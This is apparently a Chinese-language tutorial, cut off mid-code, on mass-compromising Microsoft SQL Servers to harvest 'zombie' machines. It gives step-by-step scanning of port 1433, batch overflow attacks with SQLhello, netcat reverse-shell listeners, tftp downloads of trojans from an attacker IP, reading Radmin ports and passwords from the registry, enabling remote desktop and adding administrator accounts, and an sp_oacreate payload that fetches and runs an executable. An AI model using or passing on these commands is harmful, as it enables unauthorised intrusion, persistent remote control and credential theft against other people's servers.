一、如前所述,一般用户在使用SQL服务器时由于不注意输入自己的用户名和密码的,于是它就留下了入侵的漏洞,这个漏洞是人为造成的。还有一种情况,是计算机程序本身留下的漏洞,叫做SQL溢出漏洞,这种漏洞比前一种更好扫描,甚至可以批量进行处理,为广大爱好者所采用。
二、进行SQL溢出漏洞的扫描,要用到三个工具:一个是S命令,一个是SQLhello, 一个是 NC,用S命令进行扫描,用SQLhello进行溢出,用NC进行监听,反相连接。
三、S命令的使用方法是:
先在自己的电脑某一硬盘分区建立一个目录,如c:\SQL,把上面三个文件放进去。再在CMD下打开这个目录,运行S命令,格式是这样的:
C:\SQL>s tcp 起始IP 结束IP 1433 连接线程 /save
说明:tcp一项根据自己电脑的情况,也可以用syn,这个不行用那个。save是保存扫描结果的命令,不管在什么时候结束扫描,它都可以保存一个名字叫result.txt的文件,这个文件在处理的时候要注意扫描结束以后改名存放。名字最好用日期区别,不然下一次扫描时前次扫描的结果被复盖。1433 是SQL漏洞的端口.线程可以根据自己电脑的配置选择50、100、200、300等等合适的数目。
四、NC命令的用法:
在CMD下输入:如:C:\SQL>nc -vv -l -p 963
说明:nc是运行程序。
-vv是查看命令,显示详细的信息。
-l监听端口,即打开某个端口,等待对方连接
-p 963 是监听端口,也可以选取其它和自己电脑没有冲突的端口。
五、SQLhello命令用法:
在CMD下输入:如:C:\SQL>SQLhello 对方的IP 对方的端口(1433)自己的IP 自己的端口(963或其它),因为扫描到1433端口的肉鸡很多,一个一个溢出很费事,可以做一个批处理来一次性运行,方法是:
1、打开已经扫描到有SQL漏洞主机信息的文件result.txt
2、在Excel中打开这个文本文件,然后点“插入”在对方IP前插入一列,填写SQLhello,再点编辑,选向下填充,使所有的列全部是SQLhello。
3、再在对方的IP和端口后添加两列,一为自己的IP, 一为自己的端口,同时
删除“open”一列。再用填充的方法把所有的项填满。
4,把改过的文件保存为文本文件,再把后缀改为 bat,变成批处理文件格式。比如文件名改为:ttybr.bat
六、实战操作:
1、前提:通过扫描在自己的扫描目录里已经得到result.txt,上面记载着扫描的信息。
2、对result.txt文件进行整理,去年首尾不必要的说明,只留下记录IP信息的部分,它的格式是:对方的IP 对方的端口1433 open,其它的部分全部删除,然后如上建立批处理文件,名字自己随意取,后缀是bat。
3、进入在自己的电脑上刚才建立的有溢出命令的目录里,打开数个CMD窗口,一般五六个左右为好,在每个窗口里的目录下运行CMD,输入nc命令:
C:\SQL>nc -vv -l -p 963(或别的不冲突的端口)
使处于监听状态,为了便于观察,最好把这几个打开的CMD窗口在电脑上排列一
下,然后等待肉鸡上线,便于观察。
4、再打开一个CMD窗口,运行如下命令:
C:\SQL>ttybr.bat (就是刚才做的批处理命令)
运行这个命令之后,可以看到对刚才扫描的IP开始一个一个溢出,其中有无效的
会跳过,有效的它就自动会在监听窗口有反映。如果溢出成功,在窗口里就会显示对方的IP,版本号等信息,同时自动打开对方的windows的system32目录,如:
c:\windows\system32
这时候马上把溢出成功的肉鸡的IP记录保存下来,一会儿进行处理,为了让溢出
继续进行,在c:\windows\system32下按ctrl加c终止,于是命令模式又回到自己的电脑上来了,显示是这样的:C:\SQL>, 然后再在CMD下输入监听命令。让它继续监听。在溢出一定数量的肉鸡之后,可以终止溢出,下面对已经获得IP的肉鸡进行操作。
5、有了对方的IP,怎样在肉鸡上进行操作,这是最重要的过程,操作起来也比较复杂,要针对不同的电脑,灵活运用各种方法和技巧。这是掌握溢出的重点。下面是几个要掌握的知识点。
a、重新建立溢出连接,这是首先要做的一步,把保存的对方IP填写到命令中去,如:
C:\SQL>SQLhello 对方的IP 对方的端口(1433)自己的IP 自己的端口
如果对方没有下线的话,它会重新建立连接,并且出现回到对方c:\windows\system32下的状态,这时候你得到了CMD,可以在后面输入命令。
b、到了对方的c:\windows\system32下之后,当然第一件事是要了解对方电脑的情况,可以运行:
dir c: 查看对方以C盘的内容
ipconfig 查看对方是外网还是内网
ver 查看对方电脑所使用的版本
net start 查年对方开了哪些服务,等等,新手不妨避繁就易,先选择比较容易
入侵的电脑进行试验。
c、输入什么命令,当然第一件事是上传文件,用什么上传?可以用TFTP。这时要建立TFTP服务,把上传的文件复制到TFPT要用到的目录里去,然后再更新IP,把服务器最小化。再在c:\windows\system32下输入命令:
tftp -i 自己的IP 上传的文件名(带后缀) get 上传的文件名(带后缀),
于是一个文件就上传到c:\windows\system32了,建议最好先传一个反弹端口
的木马,便于它主动连接你,这是为了防止动态IP而采取的措施。上传后检查一
下,如果没有被杀,就运行它,这边开着远程控制客户端等待上线。运行的命令
是:c:\windows\system32\木马文件名(带后缀) 回车。
d、进入了对方的电脑,当然你会想到怎样利用对方电脑已经打开的端口进行入侵,如果你想知道对方电脑是不是开了4899,这时可以用以下命令来了解它,输入:
regedit /e c:\tty.txt HKEY_LOCAL_MACNIME\SYSTEM\RADmin
这条命令的意思是导出对方电脑的注册表文件,看是不是开了4899,如果开了,就可以用RADmin进行连接,上面的tty.txt是我们导出的指定的注册表文件,如果能导出来,没有出错的提示,就可以查看C盘的文件,应该有tty.txt。再用type tty.txt命令查看文本文件的命令看tty.txt的具体内容。
在打开的对方注册表文件里有一项“port”,下面记录着对方所开的端口,不过
它是十六进制文件,如,查看到的是:27 16,还原过来是1627,再用电脑提供的
计算器进行换算,选科学型,在十六进制下输入:1627,再点十进制前面园框中一
下,选中,这时可以看到1627变成了5671,这个5671就是这台电脑4899所用的端口。
对方注册表文件里还有密码选项Parameter,它也是十六进制数据,由于密码远比端口的内容复杂,它含有数字、文字和符号等内容,如果能把它破解,我们就基本上掌握了进入对方RADmin的全部数据了。
如果对方没有开4899,就可以把从自己电脑导出radmin注册表文件上传到对方
的电脑上去,用自己的生成服务端去控制对方的电脑。这里需要说明的是,如果对方开了4899端口,又安装了radmin,配置了自己的端口和密码,你如果改变了它的注册表文件,对方肯定不能用自己的密码和端口上线,这时它就会发现已被入侵,会马上修改自己的注册表文件,这时你企图利用radmin控制对方的方法就会失败,建议你不要对这类电脑进行radmin控制。说不定对方比你的手段更为高超。
e、如果对对方的电脑进行查询开了什么服务,可以用以下命令:
c:\>net start
如果发现对方没有开telnet服务,可以键入命令:
c:\>net start telnet
如果可以打开,就会出现telnet服务正在启动、完成的提示。对开启了telnet服务的电脑怎么入侵?如果是2000的机子,可以用以下方法进行:
第一步,查看用户,命令:net user
第二步,查看版本,命令:ver,
或:type c:\boot.ini
第三步,如果对方是2000服务器版本,就可以开3389,但是一定要看对方开了3389
端口没有。
可以用如后命令:c:\>query user
如果回显:这个工具需要运行终端服务。说明对方有3389端口,但是没有打开,这时可以用tftp上传一个3389.exe上去打开它,方法是打开tftp服务器,更新IP,其它如前所述。
第四步,在对方C盘要目录下运行命令:
tftp -i 更新了的自己的IP get 3389.exe c:\3389.exe
这样,就通过tftp服务器把自己电脑上的文件3389.exe上传到对方的C盘根目录下了。
第五步,运行命令:c:\>3389.exe
运行之后,对方的电脑会重新启动。
第六步,如果对方的电脑是固定IP,回来之后可以继续连接,这时候可以添加用户名和密码,提升自己为管理员的权限,就可以用远程桌面连接,输入用户名和密码进行控制了。如果对方是可变的IP,那就在用到上面所说的利用用反弹端口的木马进行连接,利用反弹端口木马的telnet或超能终端运行CMD命令添加用户名和密码,提升自己为管理员的权限,进行远程桌面连接。
完整的开3389的操作远比上述复杂,涉及到隐藏自己等一系列操作,笑语嫣然有一个很好的动画,讲得很细致,照她那样来做,才比较稳妥。因为这要涉及另一个专题内容,这里就不叙述了。
说明,这一单元老师教学的内容很丰富,虽然看起来是个利用SQL漏洞溢出连接
肉鸡的操作,但实际上要用到的知识很多,要灵活处理各种情况。
一、还有一种情况,有的SQL数据库的管理员虽然是用的sa的用户名和空密码,我们可以扫描得到它的IP,但是,管理员为了安全起见,已经对存储过程做了限制,删除了xp_cmdshell和附带的动态链接库xpsql70.dll,这就使我们不能用cmd 命令进行连接,为了解决这个矛盾,我们可以利用其它的功能模块来调用cmd命令,同样可以达到入侵的目的。
二、要完成上述任务,需要在我们的电脑上安装一个SQL查询分析器,这个分析器网上有下载,用它来连接肉鸡。
三、为了利用其它的功能模块,还需要从tty老师的网站上下载一个代码文件,它的网址是:
http://ww3.tty-1.net:808/ttysql.txt
这个代码文件里最重要的部分我复制到这里,因为连接要用上它:
代码一:
select @@version
代码二:
declare @shell int exec sp_oacreate ’wscript.shell’,@shell output exec
sp_oamethod@shell,’run’,null,’%systemroot%\system32\cmd.exe /c tftp -i
219.141.107.225 get ttygd.exe c:\ttygd.exe’--
代码三:
create proc tty
as
begin
set nocount on
create table #tempfile (line varchar(8000))
exec (’bulk insert #tempfile from "c:\tty.txt"’)
select * from #tempfile
drop table #tempfile
end
代码四:exec ttybr 意思是执行查询。
代码五:sp_helptext ttybr(欲查询的文件名) 查看存储过程是不是有错。
四、在进行操作之前,最好对已经扫描得到的有SQL漏洞的计算机进行一次过滤,看看哪些还在线上可以使用,然后对在线的肉鸡一个一个连接实验。
五、确定了可以连接的肉鸡之后,就可以尝试连接,第一步还是用SqlExec.exe进行连接,如果能顺得进行连接,运行CMD命令,那就用手记一讲过的方法进行入侵操作,如果出现这样的提示:
SQL ERROR
那就说明对方做了限制,不能直接用CMD命令进行连接,这时候我们就可以打开SQL查询分析器操作了,具体的方法是:
1、打开查询分析器,在连接到SQL Server右边填入IP数据,点确定。
2,在查询分析器里“查询”选项里选择用“文本显示结果”。
3、下面看看怎么来实现调用cmd命令的过程:
a、先把代码一复制到对话框里
select @@version
输入命令后,点击上面的“查询”选顶,,再点执行,执行之后,对话框一分为二,下面如果出现:Microsoft SQL Server 7.00-7.00.623......,说明当前用户版本太低,以下其它的代码将不被执行,建议放弃,不要浪费时间。如果出现
Microsoft SQL Server 8.00.....此类机子可以执行后面的代码,可以向下进行。
b、删除上面的代码,在出现的对话框里把代码二的内容复制上去,如下:
declare @shell int exec sp_oacreate ’wscript.shell’,@shell output exec
sp_oamethod@shell,’run’,null,’%systemroot%\system32\cmd.exe /c tftp -i
219.141.107.225 get ttygd.exe c:\ttygd.exe’--
在上面的代码里,前面不管,最重要的是后面的部分:
“cmd.exe /c tftp -i 219.141.107.225 get ttygd.exe c:\ttygd.exe’--”
“cmd.exe /c”是调用CMD命令,
“tftp -i 219.141.107.225 get ttygd.exe c:\ttygd.exe’--”是以tftp方式向目标机上传文件的命令。
这段代码前面的内容我们不管它,我们只是改动“cmd.exe /c”以后的部分,如
我们在cmd.exe /c后空一格,打入dir c:\,就是查看C盘的命令,输入命令后,点击上面的“查询”选顶,,再点执行,执行之后,对话框一分为二,下面出现:
“命令已成功完成”,说明命令已被执行,但是它是什么内容呢,我们看不到,它只执行。为了能看到具体内容,可以在“cmd.exe /c dir c:\”之后,打一个 >符号,再在后面把要显示的文件名,如ttybr.txt,要显示的地方,如c盘,加上去,这部分命令格式是这样的:
cmd.exe /c dir c:\>c:\ttybr.txt,这样,就把C盘的内容以文本文件方式记录下来了。
c、记录了怎么查看呢,这里需要先把它导入到数据库的表格里,然后再用查询器查看。这时候先把代码二删掉,把代码三复制上去,如下:
create proc tty
as
begin
set nocount on
create table #tempfile (line varchar(8000))
exec (’bulk&nb
